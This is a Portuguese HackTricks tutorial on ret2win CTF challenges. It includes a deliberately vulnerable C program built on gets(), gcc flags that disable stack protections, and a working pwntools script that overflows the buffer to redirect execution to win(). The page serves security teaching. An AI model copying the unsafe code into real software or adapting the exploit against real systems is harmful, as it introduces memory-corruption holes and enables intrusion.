Ret2win

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
Adquira o swag oficial PEASS & HackTricks
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.

Informações Básicas

Os desafios Ret2win são uma categoria popular em competições de Capture The Flag (CTF), especialmente em tarefas que envolvem exploração binária. O objetivo é explorar uma vulnerabilidade em um binário fornecido para executar uma função específica, não solicitada dentro do binário, geralmente chamada de win, flag, etc. Essa função, quando executada, geralmente imprime uma bandeira ou uma mensagem de sucesso. O desafio geralmente envolve sobrescrever o endereço de retorno na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:

Exemplo em C

Considere um programa C simples com uma vulnerabilidade e uma função win que pretendemos chamar:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Para compilar este programa sem proteções de pilha e com ASLR desativado, você pode usar o seguinte comando:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c

-m32: Compilar o programa como um binário de 32 bits (isso é opcional, mas comum em desafios CTF).
-fno-stack-protector: Desativar proteções contra estouro de pilha.
-z execstack: Permitir a execução de código na pilha.
-no-pie: Desativar Executável Independente de Posição para garantir que o endereço da função win não mude.
-o vulnerable: Nomear o arquivo de saída como vulnerable.

Exploração em Python usando Pwntools

Para a exploração, vamos usar o pwntools, um framework CTF poderoso para escrever exploits. O script de exploit criará um payload para estourar o buffer e sobrescrever o endereço de retorno com o endereço da função win.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

Para encontrar o endereço da função win, você pode usar gdb, objdump, ou qualquer outra ferramenta que permita inspecionar arquivos binários. Por exemplo, com objdump, você poderia usar:

objdump -d vulnerable | grep win

Este comando mostrará o assembly da função win, incluindo o seu endereço de início.

O script Python envia uma mensagem cuidadosamente elaborada que, ao ser processada pela vulnerable_function, causa um estouro de buffer e sobrescreve o endereço de retorno na pilha com o endereço de win. Quando a vulnerable_function retorna, em vez de retornar para main ou sair, ela salta para win e a mensagem é impressa.

Proteções

PIE deve ser desativado para que o endereço seja confiável em execuções futuras, caso contrário, o endereço onde a função será armazenada não será sempre o mesmo e seria necessário algum vazamento para descobrir onde a função win está carregada. Em alguns casos, quando a função que causa o estouro é read ou similar, você pode fazer uma Sobregravação Parcial de 1 ou 2 bytes para alterar o endereço de retorno para ser a função win. Devido ao funcionamento do ASLR, os últimos três nibbles hexadecimais não são randomizados, então há uma chance de 1/16 (1 nibble) de obter o endereço de retorno correto.
Canários de Pilha também devem ser desativados, caso contrário, o endereço de retorno comprometido do EIP nunca será seguido.

Outros exemplos e Referências

https://ir0nstone.gitbook.io/notes/types/stack/ret2win
https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
32 bits, sem ASLR
https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
64 bits com ASLR, com um vazamento do endereço binário
https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
64 bits, sem ASLR
https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
32 bits, sem ASLR, duplo estouro pequeno, primeiro para estourar a pilha e aumentar o tamanho do segundo estouro
https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
32 bits, relro, sem canário, nx, sem pie, string de formato para sobrescrever o endereço fflush com a função win (ret2win)
https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
32 bits, nx, nada mais, sobregravação parcial do EIP (1Byte) para chamar a função win
https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
32 bits, nx, nada mais, sobregravação parcial do EIP (1Byte) para chamar a função win
https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
O programa está validando apenas o último byte de um número para verificar o tamanho da entrada, portanto é possível adicionar qualquer tamanho, desde que o último byte esteja dentro da faixa permitida. Em seguida, a entrada cria um estouro de buffer explorado com um ret2win.
https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
64 bits, relro, sem canário, nx, pie. Sobregravação parcial para chamar a função win (ret2win)

Exemplo ARM64

{% content-ref url="ret2win-arm64.md" %} ret2win-arm64.md {% endcontent-ref %}